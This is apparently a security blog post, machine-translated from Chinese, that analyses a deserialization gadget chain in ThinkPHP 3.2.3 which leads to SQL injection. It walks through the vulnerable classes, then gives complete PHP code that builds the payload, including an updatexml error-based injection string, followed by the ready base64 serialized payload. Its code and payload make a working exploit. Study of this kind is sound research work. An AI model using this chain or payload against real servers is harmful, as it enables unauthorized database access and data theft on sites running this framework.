当前位置:网站首页>Thinkphp3.2.3 deserialization using chain analysis
Thinkphp3.2.3 deserialization using chain analysis
2022-06-11 03:30:00 【Ufgnixya】
thinkphp3.2.3 Analysis of deserialization utilization chain
List of articles
Pre knowledge :
- PHP The principle of deserialization
PHP Deserialization is to read a string and then deserialize the string into php object . - stay PHP Some magic methods are automatically executed during deserialization
Method name --------------- Call conditions
__call Called when a method that is not accessible or does not exist
__callStatic Called when calling a static method that is not accessible or does not exist
__clone Progress object clone When called , Used to adjust the cloning behavior of objects
__constuct Called when building an object ;
__debuginfo When calling var_dump() Called when printing an object ( When you don't want to print all properties ) Apply to PHP5.6 edition
__destruct Explicitly destroy the object or be called at the end of the script ;
__get Called to read an inaccessible or nonexistent property
__invoke Called when an object is called functionally
__isset Call... On an inaccessible or nonexistent property isset() or empty() When called
__set Called when an inaccessible or nonexistent property is assigned a value
__set_state When calling var_export() When exporting a class , This static method is called . use __set_state The return value of is var_export The return value of .
__sleep When using serialize When called , Useful when you don't need to save all the data of large objects
__toString Called when a class is converted to a string
__unset Make changes to inaccessible or nonexistent properties unset When called
__wakeup When using unserialize When called , It can be used to initialize some objects
- A common starting point for deserialization
__wakeup Must call
__destruct Must call
__toString When an object is deserialized, it is used as a string
4. A common intermediate springboard for deserialization :
__toString When an object is used as a string
__get Called to read an inaccessible or nonexistent property
__set Called when an inaccessible or nonexistent property is assigned a value
__isset Call... On an inaccessible or nonexistent property isset() or empty() When called
Form like $this->$func();
5. Common end points for deserialization :
__call Called when a method that is not accessible or does not exist
call_user_func commonly php Code execution will choose here
call_user_func_array commonly php Code execution will choose here
6.Phar The principle and characteristics of deserialization
phar:// The pseudo protocol deserializes its in multiple functions metadata part
Affected functions include but are not limited to the following :
copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo
Environmental Science :
build
Come first thinkphp The official website to download thinkphp_v3.2.3 Full version source code (https://www.thinkphp.cn/Down), Then unzip to phpstudy Under the root directory of the website .
Use conditions
Has a deserialization entry
entrance
First write a deserialization entry , Write to the controller :
//Application/Home/Controller/HelloController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
public function index(){
echo base64_decode($_GET['Ufgnix']);
unserialize(base64_decode($_GET['Ufgnix']));
}
}
The analysis process
Know from the preceding knowledge , The deserialization header is usually in __destruct Method , So global search __destruct() Check one by one , The principle of selecting as many controllable variables as possible , Finally find :ThinkPHP/Library/Think/Image/Driver/Imagick.class.php In file , Destructor methods with controllable variables :

analysis :
If we're right img Attribute to an object , Then it will call destroy() Method , So keep going , Our global search has destroy() Class of method
Be careful :
stay PHP7 In the version , If you call a method with parameters without parameters ,ThinkPHP Will report a mistake , And in the PHP5 There will be no error in the version
Let's search for destroy() Class of method , The results found are as follows :ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

<?php
namespace Think\Session\Driver;
class Memcache {
protected $lifeTime = 3600;
protected $sessionName = '';
protected $handle = null;
public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}
destroy() The method has two controllable parameters ($handle、$sessionName),$sessID Out of control . call delete Method , Again , Class controllable , delete The parameters of the method seem controllable , Actually, it's uncontrollable , Because after the global search below , delete Most of the parameters required by the method are array form , And what comes in from above is $this->sessionName.$sessID , Even if $this->sesionName Set to array array , however $sessID If it is null , stay PHP in , use . Connector connection , The result is a string array.
<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"
PHP Notice: Array to string conversion
First, continue to search delete Method :ThinkPHP/Library/Think/Model.class.php In file
//ThinkPHP/Library/Think/Model.class.php
<?php
// Record only key code
namespace Think;
class Model {
protected $db = null;
// Primary key name
protected $pk = 'id';
// Data and information
protected $data = array();
// Query expression parameters
protected $options = array();
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// If the deletion condition is empty Delete the record corresponding to the current data object
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
// Analytical expression
$options = $this->_parseOptions($options);
if(empty($options['where'])){
// If the condition is empty Do not delete Unless set 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if(false !== $result && is_numeric($result)) {
$data = array();
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_delete($data,$options);
}
// Returns the number of deleted records
return $result;
}
p k 、 pk、 pk、data、$options Variable control ,
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// If the deletion condition is empty Delete the record corresponding to the current data object
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
Look at this paragraph , Get primary key , Then judge whether it is empty , If it is empty , It will call itself to get the primary key , Make yourself not empty
Break away from the present if Judgment area , Keep going down :
We're going to use delete Method to perform a delete operation , So set $options['where']="1=1" that will do , below , Second call delete Method , But the delete The method is not the one above , It is db Inside , and db We can control it , Commissioning by the utility company , Here, you will call... In the database driver class delete() In the middle , Not in the current file delete() Method , namely ThinkPHP/Library/Think/Db/Driver.class.php Medium delete():
You can see $table after parseTable Method after processing , Directly spliced , and parseTable There is no filtering operation in the method , So there is an injection problem , such , A complete chain comes out
ThinkPHP/Library/Think/Image/Driver/Imagick.class.php::__destruct()–>ThinkPHP/Library/Think/Session/Driver/Memcache.class.php::destory()–>ThinkPHP/Library/Think/Model.class.php::delete()–>ThinkPHP/Library/Think/Db/Driver.class.php::delete()
structure pop:
First of all __destruct, We need to call Memcache Of destroy Method
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
Next $this->handle Point to Model Class to call delete Method , And carefully construct our sql sentence
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "username where 1=updatexml(1,user(),1)#",
"where" => "1=1"// It is said in the analysis that we should set where=‘1=1’
);
}
}
Note that we need to initialize the database connection , Here we use the default in Think\Db\Driver\Mysq Under the Mysql, Found inherited Driver class , It's built here PDO Configure to establish database connection , So we just need to Mysql Next, configure the database
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // The file can be read only after it is opened
);
protected $config = array(
"debug" => 1,
"database" => "test",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "testtest",
"password" => "testtest"
);
}
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'
);
}
}
}
// Initialize database connection
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // Database type
'hostname' => 'localhost', // Server address
'database' => 'thinkphp', // Database name
'username' => 'root', // user name
'password' => 'root', // password
'hostport' => '3306', // port
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // The file can be read only after it is opened
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, // Stack it up , It can be stacked after opening
);
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
?>
obtain :
?Ufgnix=
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6NzoiACoAZGF0YSI7YToxOntzOjI6ImlkIjthOjI6e3M6NToid2hlcmUiO3M6MzoiMT0xIjtzOjU6InRhYmxlIjtzOjU5OiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpIyI7fX1zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjEwOiIAKgBvcHRpb25zIjthOjE6e3M6NToid2hlcmUiO3M6MDoiIjt9czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjk6IgAqAGNvbmZpZyI7YTo4OntzOjU6ImRlYnVnIjtiOjE7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6NDoidHlwZSI7czo1OiJteXNxbCI7czo4OiJob3N0bmFtZSI7czo5OiJsb2NhbGhvc3QiO3M6ODoiZGF0YWJhc2UiO3M6ODoidGhpbmtwaHAiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290IjtzOjg6Imhvc3Rwb3J0IjtzOjQ6IjMzMDYiO31zOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fX19fX0=
Pass in , No error in inspection 
边栏推荐
- 科技PRO实力测评:高端按摩椅市场综合PK,究竟谁才配得上机皇?
- SQL | 游戏行业部分指标
- 词汇表的构建——代码补全快餐教程(3)-分词
- 【云原生】什么是微服务?怎么搭建?手把手教你搭建第一个微服务(框架)
- LVGL中文字体制作
- postgresql copy语句
- Oppo K9 tests "bundling sales" and consumers "earn" or "lose"?
- {dataSource-1} closing ... {dataSource-1} closed
- Understand single chip microcomputer drive 8080lcd
- Rhel7 switch character encoding to GBK
猜你喜欢

Promise使用

OPPO K9试水“捆绑销售”,消费者“赚了”还是“亏了”?

OpenGL第十一章 多光源

Xu Li 618, how can Suning fight this hard battle?

The tide play power is really firepower! The first big screen cinema for young people? Cool open TV Max 86 "sudden attack

618 coming! Can oppo reno6, which is sold through all channels with high price and low configuration, win?

蓄力618 ,苏宁如何打下这场硬仗?

Oppo K9 tests "bundling sales" and consumers "earn" or "lose"?

【ELT.ZIP】OpenHarmony啃论文俱乐部——多层存储分级数据压缩

What has TCL done right to break through the technological strength of Chinese brand innovation?
随机推荐
PostgreSQL source code learning (21) -- fault recovery ② - transaction log initialization
Logical deletion_ Swagger2 framework integration
thinkphp3.2.3反序列化利用链分析
Unity之数据持久化——Json
OpenGL第八章 材质material
【云原生】什么是微服务?怎么搭建?手把手教你搭建第一个微服务(框架)
OpenGl第十章 投光物
MySQL learning notes: JSON nested array query
多线程四部曲之pthread
实现发布订阅模式-----手撕js系列
Reasons why Chinese comments cannot be written in XML
Multivalued mapping: arraylistmultimap and hashmultimap
Difference between idea open and import project
Why is vfly, a high-end brand of Yadi that does not live up to its name, not high-end?
【安全科普】挖矿技术,从一个理工男的爱情故事讲起
【安全科普】今天你被社工了吗?
OPENSSL ASN.1, DER, PEM, X509
Oppo K9 tests "bundling sales" and consumers "earn" or "lose"?
js顶部图标菜单点击切换背景色js特效
Shangpinhui mall_ Background homepage of